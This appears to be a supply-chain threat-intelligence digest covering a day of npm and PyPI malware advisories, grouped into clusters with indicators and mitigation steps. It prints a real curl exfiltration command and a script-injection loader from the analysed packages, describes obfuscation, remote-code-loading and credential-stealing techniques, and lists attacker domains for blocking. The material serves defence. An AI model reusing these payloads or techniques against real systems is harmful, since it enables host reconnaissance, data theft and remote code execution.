GitHub Advisory malware sweep - 2026-09-21 (late) + 2026-09-22 (npm `@baanx/abis` + `@baanx/blockchain-config` `oob.algamil7x.xyz` DNS-OOB day 5; `hardhat-base` + `hardhat-core` + `hardhat-devkit` Ethereum-toolchain typosquats with axios-loader RCE via `ipcheck-hashed.vercel.app`; `@uh-platform/*` + `@uol-afiliados/affiliated-config-lib` + `@asdfaskdjfksadhfkasf` Burp Collaborator `oastify.com` dep-confusion; `@vite-*/*` six-package batch quarantine; `test-react-app-{in,out,way}` + `de-morgan` + `transform-es2015-unicode-regex` + `emoji-prints-fancy` Aug 4 residual typosquat quarantine; `math-universe`/`mathmain`/`mathsbase` batch quarantine; pip `pullgetsage` Telegram Desktop tdata stealer; `blue-string-formatter-utilss` `xss.report` DOM loader; pentest/CTF artefacts (`bnppf-flag-icons`, `radio-player-theme`, `my-ctf-helper-script-9921`, `bytepack-probe-a7x3`, pip `starlette-healthchecks`))

What happened

Between roughly 2026-09-21 12:00 UTC and 2026-09-22 12:00 UTC, GitHub Advisory Database (plus the OpenSSF malicious-packages bulk export and Amazon Inspector's IN-MAL feed) published approximately 25 new npm malware advisories and 2 pip advisories. The window is dominated by two operator continuations from prior days plus one new typosquat wave with confirmed require-time RCE.

Cluster A - @baanx/* oob.algamil7x.xyz DNS-OOB (day 5)

Both published 2026-09-21 16:52-53 UTC and detected by Amazon Inspector within minutes. The install chain matches the 2026-09-21 @baanx/solana-lib (Cluster B of that sweep) verbatim: scripts.install: node index.js loads a runtime/support/telemetry/probe/impl.js module which reads os.userInfo().username, os.hostname(), and process.cwd() basename via module.constructor._load (indirect Node builtin resolution to defeat static analysis), concatenates with a timestamp and a per-package prefix, and issues a dns.resolve4 on <prefix>-<user>-<host>-<cwd>.<ts>.oob.algamil7x.xyz. Sibling probe/*.js files (c7a1f4.js and f0d4b7.js this time) carry String.fromCharCode hex-array obfuscation of method names and destination domain plus telemetry/connectivity probe cover-story comments. Same operator, same DNS zone, same code style - now spanning eight consecutive days.

Day tally so far: day 1 (2026-09-18, @tink/tink-link-core@9.9.10, tinkcore), day 2 (2026-09-19, four @shared-web/@shared-runtime/@insiderintelligence packages at 9.9.10), day 3 (quiet), day 4 (2026-09-21, @baanx/solana-lib@9.9.9/9.9.10, bxsol), day 5 (today, @baanx/abis + @baanx/blockchain-config at 9.9.11, bxabis + bxcfg). Expect day 6 tomorrow under yet another internal-lookalike scope.

Cluster B - hardhat-* axios-loader RCE typosquat wave

All three impersonate the Ethereum hardhat toolchain. hardhat-base's README self-identifies as such and copies pino logger badges as further camouflage. Shared payload primitive:

1. Module exports a "middleware" function
2. On invocation, child_process.spawn a detached Node process running lib/caller.js
3. lib/caller.js base64-decodes a hardcoded URL held in a fake DEV_API_KEY process shim (decodes to https://ipcheck-hashed.vercel.app/api/auth/f1f097d93c318c92f0c5 for hardhat-core)
4. POSTs to that endpoint via axios
5. Passes the response body to new Function.constructor('require', responseBody)
6. Invokes the resulting function with the real require

The anonymous Vercel-hosted endpoint gets arbitrary Node RCE with full module-system access, and the payload can be swapped without republishing the package. Same architectural class as chai-testing (Cluster D of 2026-09-21 sweep) but with the Vercel-hosted RCE endpoint (ipcheck-hashed.vercel.app) instead of an inline Function() build.

All three packages were operator-unpublished within hours of publish. Private mirrors and npm-follower feeds may still hold the tarballs. The MAL-2026-3713 record for hardhat-core@1.0.0 dates to 2026-05-13 (long-standing squat); the operator republished the same primitive under hardhat-core@2.1.2 on 2026-09-17 and then extended into hardhat-base and hardhat-devkit. This is one operator, three package names.

Cluster C - @uh-platform/* + @uol-afiliados + @asdfaskdjfksadhfkasf Burp Collaborator OOB dep-confusion

All seven published 2026-09-21 17:17-19:21 UTC (2-hour window; one operator engagement). Manifest descriptions read "Nodejs SDK for Redacted". Sentinel dep-confusion versions (99.0.0-102.0.0) squat plausibly-internal names. Payload:

// scripts.preinstall: node index.js
child_process.exec(`curl http://$(hostname).$(whoami).pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/`)

On install, the operator sees the source IP, hostname, and OS username of every host that resolved one of these dep-confusion names ahead of an internal registry. The @uol-afiliados variant curls a namespace-scoped URL (pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/[package]). The @asdfaskdjfksadhfkasf/nadaver2 scope is spam-labelled iteration by the same operator (likely test publishes).

Pentest-shaped but every install leaks real host identity. Same Burp Collaborator subdomain across all seven packages confirms single-operator attribution.

Cluster D - @vite-*/* + @vitets six-package batch quarantine

All six had a single "legit-looking" version published 2026-06-29 through 2026-07-14 (a coordinated multi-scope typosquat wave against the Vite toolchain), remained live for 2-3 months, and were batch-quarantined by npm in a 4-minute window on 2026-09-21 23:12-23:16 UTC. The advisories carry the generic CWE-506 boilerplate but the naming pattern (@vite-tab, @vitets, @vite-pro, @vite-mcp, @vite-ts all publishing packages named tab/tabui/vite-ts/vite-ui/vite-type) is a classic typosquat cluster. Any lockfile with a hit was exposed for ~11 weeks.

Cluster E - Aug 4 residual typosquat batch quarantine

Batch-quarantined by npm in a 90-second window on 2026-09-22 03:15-03:16 UTC. All six had a single version published within a 23-minute burst on 2026-08-04 19:13-19:36 UTC (except emoji-prints-fancy which landed two weeks earlier). This window overlaps the 2026-08-04 keyv/cacheable Shai-Hulud storm - late catch by npm's malware review of adjacent typosquat activity.

transform-es2015-unicode-regex@6.24.1 is notable: it mimics the version series of the legitimate Babel plugin babel-plugin-transform-es2015-unicode-regex@6.24.1 (dropping the babel-plugin- prefix). A lockfile grep for the legitimate name won't catch it. de-morgan@2.1.3 and emoji-prints-fancy@5.6.4 reuse plausible version numbers to look established on a registry search. GHSA bodies are generic CWE-506 boilerplate; the specific payload is not disclosed but the batch quarantine implies a real one.

Cluster F - math-* typosquat batch quarantine

math-universe@1.0.0/1.0.1/1.0.2 (GHSA-97cg-r346-fg22, MAL-2026-16367), mathmain@1.0.0 (GHSA-v6mx-2p6p-3628, MAL-2026-16368), and mathsbase@1.0.0/1.0.1/1.0.2 (GHSA-v4cx-64j6-84xm, MAL-2026-16369). All quarantined 2026-09-21 19:48-20:06 UTC. Lookalikes for mathjs/math-utils/mathbase. CWE-506 boilerplate advisories.

Cluster G - pip pullgetsage Telegram Desktop tdata stealer

pullgetsage@0.1.2 (MAL-2026-16366, GHSA-4whg-cvj9-8v3f). Description advertises "a library filled with books"; actual behaviour on install/import:

1. Locates the installer's Telegram Desktop tdata directory (contains active session credentials)
2. Archives it into a zip named aiosendletter_logs
3. POSTs the zip to a hardcoded Cloudflare Workers endpoint
4. Prints "aioletter initialized" and swallows any exception

Successful exfil = full account takeover of the installer's Telegram: message history, contact list, MFA codes routed through Telegram, admin rights on any bot/channel the installer manages. Same architectural class as SysBumps / TelegramGrabber but with a Cloudflare Workers front (bypasses simple IP-based egress filters).

Cluster H - pentest/CTF/research artefacts (real payloads, non-hostile framing)

• bnppf-flag-icons@99.99.99 (MAL-2026-16350): self-labelled "SECURITY RESEARCH POC - see README"; BNPPF = BNP Paribas Fortis; sentinel 99.99.99 version pattern
• radio-player-theme@1.0.0-6.0.0 (MAL-2026-16347): self-labelled "YWH bug bounty CSS injection live-C2 proof — stage 4 XSS escalation"; six versions on YesWeHack bounty engagement between 2026-09-11 and 2026-09-19
• my-ctf-helper-script-9921@1.0.0 (GHSA-qhgh-m36j-h879, MAL-2026-16365): CTF-labelled name, real payload: top-level fetch to hardcoded webhook.site collector with document.cookie in query string on require/import. Browser-tier cookie exfil if loaded via unpkg or bundled with a require-at-build tool
• bytepack-probe-a7x3@1.0.0/1.0.1 (GHSA-pjjj-2389-rwj6, MAL-2026-16364): declares a leak-internal dependency pointing to an external HTTPS tarball on an internal-looking domain; on npm install the tarball is fetched with no integrity check and its install script fires an SSRF probe from inside the installer's network. Operator-unpublished 7 minutes after publish
• pip starlette-healthchecks@1.3.1/1.3.2 (MAL-2026-16356 per OpenSSF): typosquat of legitimate starlette-healthcheck (single "check"), telemetry probe on install; both versions still live on PyPI at publish time. Neutral framing but real network exfil

Cluster I - blue-string-formatter-utilss xss.report DOM loader

blue-string-formatter-utilss@1.2.0 (GHSA-4g26-86h7-34h3, MAL-2026-16363). Impersonates a string-formatting utility. payload.js IIFE:

(function(){
  const s = document.createElement('script');
  s.src = 'https://xss.report/c/k3rne111';
  document.body.appendChild(s);
})();

xss.report is a known XSS payload-distribution service; the injected script is attacker-controlled and can be swapped without republishing. Fires in any DOM environment: bundlers that vendor into browser builds, unpkg loaders, jsdom test runners. Operator-unpublished within an hour of publish (2026-09-17 21:20-22:35 UTC) but the tarball may still be cached by private mirrors.

Cluster J - misc quarantines (payload not disclosed in GHSA body)

• @zig-design-system/react@99.0.0 (GHSA-rqjq-px4f-2m8r): Zig design-system typosquat; sentinel 99.0.0; quarantined 2026-09-21 23:39 UTC
• @woodpecker-web-shared/components@1.20.4/2.20.5/4.20.5 (MAL-2026-16354): Woodpecker CI web-shared component impersonation with inflated majors; three versions published within 2 hours on 2026-09-21
• wos-library@99.0.0/999.999.999 + wos-library-ui@99.0.0/999.999.999 (GHSA-mfwv-9gcf-2mww, GHSA-wh36-rj36-m3ff, MAL-2026-16373): sentinel dep-confusion pair, quarantined 2026-09-21 23:36 UTC
• react-context-form-tdsss@9.0.0 (GHSA-pg33-6m24-4p63, MAL-2026-16372): sentinel major on a react-context-form-lookalike name

Cross-operator patterns worth flagging

1. The oob.algamil7x.xyz DNS-OOB operator is on day 5 (fourth publish day; day 3 was quiet). New scopes each day (@tink, @shared-web/@shared-runtime/@insiderintelligence, @baanx) but the same DNS zone, same code style, same String.fromCharCode obfuscation, same module.constructor._load evasion. If your egress rules still allow lookups against algamil7x.xyz, you have missed the durable IOC of this operator.
2. *The `hardhat- axios-loader RCE is a new operator with a Vercel-hosted C2.** The primitive (detached child + base64-decoded URL + axios POST + Function.constructor eval) is the same architectural class as chai-testing (2026-09-21 Cluster D) but the C2 is different (ipcheck-hashed.vercel.app, not the inline Function()` build). Vercel-hosted C2 endpoints are becoming a pattern - they inherit Vercel's TLS and reputation, so plain domain-reputation egress filters miss them.
3. Burp Collaborator OOB is now a per-day fixture. Different operators, different subdomains (pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com today vs. others yesterday), but *.oastify.com is now consistently in the daily sweep.
4. Late-catch batch quarantines are compressing. npm quarantined the @vite-*/* cluster (6 packages) in a 4-minute window and the Aug 4 residual cluster (6 packages) in a 90-second window. This is npm review triaging deferred cases in operator-grouped batches, and it means a lockfile hit today may correspond to exposure that started months ago.
5. Telegram Desktop tdata is now a documented pip-side exfil target. pullgetsage is the first Telegram credential stealer in the DependencyWatch corpus. The tdata directory is a well-known Windows/macOS session-token store and other stealer families are likely to follow.

Registry state

All packages in Clusters A, D, E, F, I, J are flagged as malware on npm and quarantined (replaced with the 0.0.1-security holding package). Cluster B (hardhat-*) and Cluster H's bytepack-probe-a7x3 were operator-unpublished within hours; the tarballs may still be reachable via npm follower feeds and private mirrors. Cluster C (@uh-platform/*, @uol-afiliados, @asdfaskdjfksadhfkasf) is still live at publish time. Cluster G (pullgetsage) and Cluster H's starlette-healthchecks remain live on PyPI at publish time.

Durable network-edge mitigations: egress blocks on oob.algamil7x.xyz, ipcheck-hashed.vercel.app, *.oastify.com (or the specific pa33pg1od9cr4ffnrzec8864jvpmdd12 subdomain), xss.report, webhook.site, and unexpected Cloudflare Workers subdomains from CI runners.

Discovery credits

GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector, ESTsecurity, kam193/bad-packages, jaschadub/compromised-packages-check (PR #136). Per-package IOC details drawn from GHSA and OpenSSF osv/malicious/ advisory bodies published between 2026-09-21 12:00 UTC and 2026-09-22 12:00 UTC.

Affected packages (39)

Impact

• *Cluster A - npm `@baanx/ oob.algamil7x.xyz DNS-OOB (day 5 of the operator; new bxabis + bxcfg prefixes)**: @baanx/abis@9.9.11 (MAL-2026-16351, published 2026-09-21 17:15 UTC) and @baanx/blockchain-config@9.9.11 (MAL-2026-16352, same publish window). Same install-chain and evasion as the 2026-09-21 @baanx/solana-lib (Cluster B of that sweep): scripts.install: node index.js loads runtime/support/telemetry/probe/impl.js, which reads os.userInfo().username, os.hostname(), and process.cwd() basename via module.constructor._load (indirect Node builtin resolution to defeat static analysis), joins them with a timestamp and a per-package prefix (bxabis for @baanx/abis, bxcfg for @baanx/blockchain-config, matching the bxsol prefix used yesterday on @baanx/solana-lib), and issues a dns.resolve4 on <prefix>-<user>-<host>-<cwd>.<ts>.oob.algamil7x.xyz. Sibling probe/*.js files carry String.fromCharCode hex-array obfuscation and telemetry/connectivity probe` cover-story comments. Same operator, same DNS zone, same code style as days 1-4 (2026-09-18 through 2026-09-21). Amazon Inspector flagged both within minutes of each other
• *Cluster B - npm `hardhat- Ethereum-toolchain typosquat wave with ipcheck-hashed.vercel.app axios-loader RCE**: hardhat-base@2.2.0/2.2.2 (MAL-2026-16348), hardhat-core@1.0.0/2.1.2 (MAL-2026-3713, republished 2026-09-17 after the original May 13 detection), hardhat-devkit@2.3.6 (MAL-2026-16349). Three packages impersonate the Ethereum hardhat toolchain (README self-identifies as hardhat-base, copies pino logger badges as camouflage). Shared payload primitive: the exported "middleware" spawns a *detached* Node child that runs lib/caller.js; the child base64-decodes a hardcoded URL held in a fake DEV_API_KEY process shim (decodes to https://ipcheck-hashed.vercel.app/api/auth/f1f097d93c318c92f0c5 for hardhat-core), POSTs to it via axios, and passes the response body to new Function.constructor('require', s) invoked with the real require. This grants the anonymous Vercel-hosted endpoint arbitrary Node RCE with full module-system access. All three packages were operator-unpublished within hours (hardhat-base ~2h, hardhat-core-2.1.2 ~2h, hardhat-devkit ~47min) — but private mirrors and npm followers may still hold the tarballs. Same architectural class as chai-testing` (Cluster D of 2026-09-21 sweep) — detached require-time RCE via axios
• *Cluster C - npm `@uh-platform/ + @uol-afiliados/affiliated-config-lib + @asdfaskdjfksadhfkasf Burp Collaborator OOB dep-confusion (single-operator engagement)**: 5x @uh-platform — cloud@101.0.0 (GHSA-g4jv-48fc-mhh2, MAL-2026-16358), domain-widget@100.0.0 (GHSA-xh82-8x4m-9w6c, MAL-2026-16359), nadaver@102.0.0 (MAL-2026-16360), nadaver2@102.0.0 (GHSA-99r3-9hc2-372p, MAL-2026-16361), webcard@99.0.0 (GHSA-5h99-j25f-5q62, MAL-2026-16362); plus @uol-afiliados/affiliated-config-lib@102.0.0 (GHSA-mh6g-473c-fvhx, MAL-2026-16370) and @asdfaskdjfksadhfkasf/nadaver2@102.0.0 (MAL-2026-16357). All published 2026-09-21 17:17-19:21 UTC with sentinel dep-confusion versions (99.0.0-102.0.0) and manifest description "Nodejs SDK for Redacted". Preinstall runs node index.js which invokes child_process.exec on a curl command whose URL embeds $(hostname).$(whoami) (some variants use $(hostname) as a DNS subdomain of pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com, some POST to it directly) — leaks source IP, hostname, and OS username to a Burp Collaborator instance. Pentest-shaped but the collector harvests real host identity from every install. The @asdfaskdjfksadhfkasf` scope is a spam-labelled iteration by the same operator
• *Cluster D - npm `@vite-/ + @vitets` six-package batch quarantine (typosquat wave from June-July 2026)*: @vite-tab/tab@3.15.10/5.7.0 (GHSA-74pv-97c8-9hfp, MAL-2026-6988), @vite-tab/tabui@7.15.16 (GHSA-q5h9-3mvh-45cf, MAL-2026-16371), @vitets/vite-ts@1.5.10 (GHSA-733v-wc48-f65r), @vite-pro/vite-ui@2.5.10 (GHSA-phpx-wpr2-26pv), @vite-mcp/vite-type@6.44.1 (GHSA-mqf9-3wx8-45cj), @vite-ts/vite-ui@6.44.1 (GHSA-jm6h-xxm2-2mr3). All six had a single "legitimate-looking" version published 2026-06-29 through 2026-07-14 and were batch-quarantined by npm 2026-09-21 23:12-23:16 UTC (four-minute window; single ticket sweep). Advisory bodies carry the generic CWE-506 "any computer that has this package installed should be considered fully compromised" boilerplate — the specific per-package payload was not disclosed in the GHSA bodies, but the coordinated multi-scope naming (@vite-tab, @vitets, @vite-pro, @vite-mcp, @vite-ts) is a classic typosquat cluster targeting the Vite toolchain
• Cluster E - npm test-react-app-{in,out,way} + de-morgan + transform-es2015-unicode-regex + emoji-prints-fancy Aug 4 residual typosquat batch quarantine: test-react-app-in@1.0.0 (GHSA-wm2w-4m2r-mv73), test-react-app-out@1.0.0 (GHSA-vx3p-fwmg-p7g8), test-react-app-way@1.0.0 (GHSA-264w-9h55-v637), de-morgan@2.1.3 (GHSA-2vc2-gwg3-2gpx), transform-es2015-unicode-regex@6.24.1 (GHSA-jcxm-5v55-599q), emoji-prints-fancy@5.6.4 (GHSA-m523-mggx-3fgr). All were published in the 2026-08-04 window (except emoji-prints-fancy on 2026-07-19) and batch-quarantined by npm 2026-09-22 03:15-03:16 UTC (90-second sweep window). transform-es2015-unicode-regex@6.24.1 mimics the version series of the real Babel plugin babel-plugin-transform-es2015-unicode-regex@6.24.1; de-morgan@2.1.3 and emoji-prints-fancy@5.6.4 reuse legitimate-looking version numbers to look plausible on a registry search. Late catch of an Aug 4 typosquat wave that landed alongside the keyv/cacheable Shai-Hulud storm. GHSA bodies are generic CWE-506 boilerplate; treat as install-time compromise until per-package IOC lands
• *Cluster F - npm `math- typosquat batch quarantine**: math-universe@1.0.0/1.0.1/1.0.2 (GHSA-97cg-r346-fg22, MAL-2026-16367), mathmain@1.0.0 (GHSA-v6mx-2p6p-3628, MAL-2026-16368), mathsbase@1.0.0/1.0.1/1.0.2` (GHSA-v4cx-64j6-84xm, MAL-2026-16369). Quarantined 2026-09-21 19:48-20:06 UTC. All three names are lookalikes for popular math libraries (mathjs, math-utils, mathbase). CWE-506 boilerplate advisories
• Cluster G - pip pullgetsage@0.1.2 Telegram Desktop tdata stealer: MAL-2026-16366. Advertises itself as "a library filled with books" — actual behaviour: on install/import, archives the installer's Telegram Desktop tdata directory into a zip named aiosendletter_logs and POSTs it to a hardcoded Cloudflare Workers endpoint. tdata contains active Telegram session credentials — successful exfil gives the operator full account takeover of the installer's Telegram (message history, contact list, MFA codes routed through Telegram, admin rights on any Telegram bot/channel the installer manages). Concealment: package prints "aioletter initialized" and swallows all exceptions to look like a benign import. Same architectural class as the SysBumps / TelegramGrabber families but with a Cloudflare Workers front (bypasses simple IP-based egress filters)
• Cluster H - pentest/CTF/research artefacts: bnppf-flag-icons@99.99.99 (MAL-2026-16350) — self-described "SECURITY RESEARCH POC" (BNPPF = BNP Paribas Fortis; sentinel 99.99.99 version). radio-player-theme@1.0.0-6.0.0 (MAL-2026-16347) — self-described "YWH bug bounty CSS injection live-C2 proof — stage 4 XSS escalation", six versions published 2026-09-11 through 2026-09-19 (YesWeHack bounty engagement). my-ctf-helper-script-9921@1.0.0 (GHSA-qhgh-m36j-h879, MAL-2026-16365) — CTF-labelled but real payload: on require/import, top-level fetch to a hardcoded webhook.site collector URL with document.cookie appended as a query-string parameter (browser-tier cookie exfil if loaded via unpkg or in a bundler that runs require at build). bytepack-probe-a7x3@1.0.0/1.0.1 (GHSA-pjjj-2389-rwj6, MAL-2026-16364) — SSRF-probe: package declares a leak-internal dependency pointing to an external HTTPS tarball on an internal-looking domain; on npm install the tarball is fetched with no integrity check and its install script fires an SSRF probe from inside the installer's network. Operator-unpublished 7 minutes after publish. pip starlette-healthchecks@1.3.1/1.3.2 (GHSA-4whg-cvj9-8v3f, MAL-2026-16356) — typosquat of legitimate starlette-healthcheck, telemetry probe (per bad-packages.kam193.eu). All Cluster H items are neutral/research disclosures but the payloads are real; hits should still be treated as compromise
• Cluster I - npm blue-string-formatter-utilss@1.2.0 xss.report DOM loader: GHSA-4g26-86h7-34h3, MAL-2026-16363. Impersonates a string-formatting utility; payload.js IIFE creates a <script> element with src='https://xss.report/c/k3rne111' and appends it to document.body. xss.report is a known XSS payload-distribution service — the injected script is attacker-controlled and can be swapped without republishing the package. Fires in any DOM environment: bundlers that vendor the package into a browser build, unpkg loaders, jsdom-based test runners. Operator-unpublished within an hour
• Cluster J - npm miscellaneous quarantines (payloads not disclosed in GHSA body): @zig-design-system/react@99.0.0 (GHSA-rqjq-px4f-2m8r) — Zig design-system typosquat, quarantined 2026-09-21 23:39 UTC. @woodpecker-web-shared/components@1.20.4/2.20.5/4.20.5 (MAL-2026-16354) — Woodpecker CI web-shared component impersonation with sentinel-like inflated majors, three versions published within 2 hours on 2026-09-21. wos-library@99.0.0/999.999.999 + wos-library-ui@99.0.0/999.999.999 (GHSA-mfwv-9gcf-2mww + GHSA-wh36-rj36-m3ff, MAL-2026-16373) — sentinel dep-confusion pair quarantined 2026-09-21 23:36 UTC. react-context-form-tdsss@9.0.0 (GHSA-pg33-6m24-4p63, MAL-2026-16372) — sentinel major on a react-context-form-lookalike name. All boilerplate CWE-506; treat as install-time compromise pending IOC

What to do

1. 1Grep every package-lock.json, yarn.lock, pnpm-lock.yaml, package.json, requirements.txt, Pipfile.lock, and poetry.lock in your org for every package name in Clusters A through J. Uninstall on hit, wipe node_modules/.venv, delete the lockfile, rebuild against a clean cache. Clusters A, B, C, G, H (subset), and I include real disclosed payloads (DNS-OOB, axios-loader RCE, Burp Collaborator OOB, Telegram tdata stealer, SSRF probe, xss.report DOM loader) - a hit on any of those is a compromise, not a warning
2. 2*For Cluster A (`@baanx/ day 5)**: block oob.algamil7x.xyz at your resolver (same operator zone as the 2026-09-18, 2026-09-19, and 2026-09-21 clusters - now spanning eight days) and add every bx* prefix (bxsol, bxabis, bxcfg) to your DNS monitoring. Any host that installed the packages DNS-resolved a label carrying hostname/username/cwd to the operator - rotate credentials accessible from that host. If your organization owns any @baanx internal scope, pin it to your private registry with .npmrc; every new day this operator publishes under a fresh internal-looking scope name, so pin-by-scope is a losing game - the durable mitigation is resolver-level DNS blocking of algamil7x.xyz`
3. 3*For Cluster B (`hardhat- axios-loader RCE)**: block ipcheck-hashed.vercel.app at CI egress (specifically the /api/auth/f1f097d93c318c92f0c5 path). Uninstall on hit and rotate every credential visible to the parent Node process. --ignore-scripts does NOT block this - the RCE fires when the package's exported middleware is invoked, which happens at import/require time in most Hardhat plugin loaders. If any developer or CI job installed a hardhat- package expecting the real Nomic Foundation hardhat toolchain (@nomicfoundation/hardhat-`), treat the workstation as compromised - the fetched payload is attacker-controlled and can be a wallet drainer, a stager, or a credential stealer depending on what the operator serves at the time
4. 4*For Cluster C (`@uh-platform/ + @uol-afiliados + @asdfaskdjfksadhfkasf Burp Collaborator)**: block *.oastify.com at CI egress (specifically pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com). If your org maintains an internal @uh-platform, @uol-afiliados, or similar-looking scope, pin it to your registry with .npmrc` and configure the internal registry to refuse public-npm publishes under those names. Pentest-shaped but each install leaks source IP, hostname, and OS username
5. 5*For Cluster D (`@vite-/` batch)*: uninstall on hit; audit your Vite-tooling supply chain for any of the six exact package names. All were live for 2-3 months before quarantine, so a hit implies extended exposure. Rotate any credentials the parent Node process could reach during that window. Add all six scopes to your registry deny-list for at least 30 days
6. 6*For Cluster E (`test-react-app- + de-morgan + transform-es2015-unicode-regex + emoji-prints-fancy)**: uninstall on hit. transform-es2015-unicode-regex in particular is dangerous because a lockfile grep for babel-plugin-transform-es2015-unicode-regex won't catch it - the malicious name drops the babel-plugin- prefix. Grep for the bare transform-es2015-unicode-regex` name too. Any lockfile with a hit was exposed for ~7 weeks
7. 7*For Cluster F (`math- batch)**: uninstall math-universe, mathmain, mathsbase on hit; verify no lockfile intended mathjs` and typo'd one of these lookalike names
8. 8For Cluster G (pullgetsage pip Telegram stealer): uninstall on hit AND treat the installer's Telegram account as compromised - log out ALL sessions (Telegram Settings > Devices > Terminate all other sessions), rotate 2FA, and audit sent messages for the past 24h for any evidence of operator interaction. If the installer was a Telegram bot admin, rotate the bot token immediately - the tdata archive contains stored bot credentials
9. 9For Cluster H (pentest/CTF artefacts): uninstall on hit. For bnppf-flag-icons and radio-player-theme, these look neutral-research but the payloads are still live - block the collector domains. For my-ctf-helper-script-9921, block webhook.site at your CDN/CSP if any web build vendored the package. For bytepack-probe-a7x3, no npm-side residue if you didn't install during its 7-minute window, but private mirrors that snapshotted it may still serve it. For pip starlette-healthchecks, rename to starlette-healthcheck (single "check") if you meant the legit package
10. 10For Cluster I (blue-string-formatter-utilss xss.report): block xss.report at your web CSP script-src; audit HTML/JS sources for any <script src="https://xss.report/..."> reference and reissue session cookies for visitors that hit those pages
11. 11For Cluster J (misc quarantines): uninstall on hit and pin the internal-looking names (@zig-design-system, @woodpecker-web-shared, wos-library, react-context-form) to your private registry
12. 12For every npm install in CI, prefer --ignore-scripts and enforce it at the runner level (but note it does NOT block Cluster B - the RCE fires on require, not on install script). Layer with egress denylists on oob.algamil7x.xyz, ipcheck-hashed.vercel.app, *.oastify.com, xss.report, webhook.site, and unexpected Cloudflare Workers subdomains. Extend the pin-lists from prior sweeps (@nimbusedge*/*, @baanx/*) with hardhat-base, hardhat-core, hardhat-devkit, @uh-platform/*, @uol-afiliados/*, @vite-tab/*, @vitets/*, @vite-pro/*, @vite-mcp/*, @vite-ts/*, @zig-design-system/*, @woodpecker-web-shared/*, wos-library*, react-context-form-*, de-morgan, transform-es2015-unicode-regex, emoji-prints-fancy, math-universe, mathmain, mathsbase, test-react-app-*, blue-string-formatter-utilss, bytepack-probe-*, bnppf-*, radio-player-theme, my-ctf-helper-script-*, and pip pullgetsage / starlette-healthchecks

References

• GitHub Advisory Database - recent malware advisories

  github.com
  GitHub
• MAL-2026-16351 - @baanx/abis (Cluster A - algamil7x DNS-OOB day 5, bxabis prefix)

  github.com
  OpenSSF
• MAL-2026-16352 - @baanx/blockchain-config (Cluster A - algamil7x DNS-OOB, bxcfg prefix)

  github.com
  OpenSSF
• MAL-2026-16348 - hardhat-base (Cluster B - axios-loader RCE via ipcheck-hashed.vercel.app)

  github.com
  OpenSSF
• MAL-2026-3713 - hardhat-core (Cluster B - detached RCE, ipcheck-hashed.vercel.app)

  github.com
  OpenSSF
• MAL-2026-16349 - hardhat-devkit (Cluster B - same axios-loader RCE primitive)

  github.com
  OpenSSF
• GHSA-g4jv-48fc-mhh2 - @uh-platform/cloud (Cluster C - Burp Collaborator OOB)

  github.com
  GitHub
• GHSA-xh82-8x4m-9w6c - @uh-platform/domain-widget (Cluster C - Burp Collaborator OOB)

  github.com
  GitHub
• GHSA-99r3-9hc2-372p - @uh-platform/nadaver2 (Cluster C - Burp Collaborator OOB)

  github.com
  GitHub
• GHSA-5h99-j25f-5q62 - @uh-platform/webcard (Cluster C - Burp Collaborator OOB)

  github.com
  GitHub
• GHSA-mh6g-473c-fvhx - @uol-afiliados/affiliated-config-lib (Cluster C - Burp Collaborator DNS+HTTP)

  github.com
  GitHub
• GHSA-74pv-97c8-9hfp - @vite-tab/tab (Cluster D - batch quarantine)

  github.com
  GitHub
• GHSA-q5h9-3mvh-45cf - @vite-tab/tabui (Cluster D - batch quarantine)

  github.com
  GitHub
• GHSA-733v-wc48-f65r - @vitets/vite-ts (Cluster D - batch quarantine)

  github.com
  GitHub
• GHSA-phpx-wpr2-26pv - @vite-pro/vite-ui (Cluster D - batch quarantine)

  github.com
  GitHub
• GHSA-mqf9-3wx8-45cj - @vite-mcp/vite-type (Cluster D - batch quarantine)

  github.com
  GitHub
• GHSA-jm6h-xxm2-2mr3 - @vite-ts/vite-ui (Cluster D - batch quarantine)

  github.com
  GitHub
• GHSA-wm2w-4m2r-mv73 - test-react-app-in (Cluster E - Aug 4 residual)

  github.com
  GitHub
• GHSA-vx3p-fwmg-p7g8 - test-react-app-out (Cluster E - Aug 4 residual)

  github.com
  GitHub
• GHSA-264w-9h55-v637 - test-react-app-way (Cluster E - Aug 4 residual)

  github.com
  GitHub
• GHSA-2vc2-gwg3-2gpx - de-morgan (Cluster E - Aug 4 residual typosquat)

  github.com
  GitHub
• GHSA-jcxm-5v55-599q - transform-es2015-unicode-regex (Cluster E - Babel plugin lookalike)

  github.com
  GitHub
• GHSA-m523-mggx-3fgr - emoji-prints-fancy (Cluster E - Jul 19 residual)

  github.com
  GitHub
• MAL-2026-16366 - pullgetsage (Cluster G - Telegram tdata stealer, Cloudflare Workers)

  github.com
  OpenSSF
• GHSA-4whg-cvj9-8v3f - pullgetsage (Cluster G advisory record)

  github.com
  GitHub
• MAL-2026-16356 - starlette-healthchecks (Cluster H - typosquat, telemetry probe)

  github.com
  OpenSSF
• GHSA-qhgh-m36j-h879 - my-ctf-helper-script-9921 (Cluster H - webhook.site cookie exfil)

  github.com
  GitHub
• GHSA-pjjj-2389-rwj6 - bytepack-probe-a7x3 (Cluster H - external-tarball SSRF probe)

  github.com
  GitHub
• GHSA-4g26-86h7-34h3 - blue-string-formatter-utilss (Cluster I - xss.report DOM loader)

  github.com
  GitHub
• GHSA-rqjq-px4f-2m8r - @zig-design-system/react (Cluster J - misc quarantine)

  github.com
  GitHub
• GHSA-pg33-6m24-4p63 - react-context-form-tdsss (Cluster J - sentinel dep-confusion)

  github.com
  GitHub
• jaschadub/compromised-packages-check - Sep 21-22 2026 sweep (PR #136)

  github.com
  jaschadub
• OpenSSF malicious-packages repository

  github.com
  OpenSSF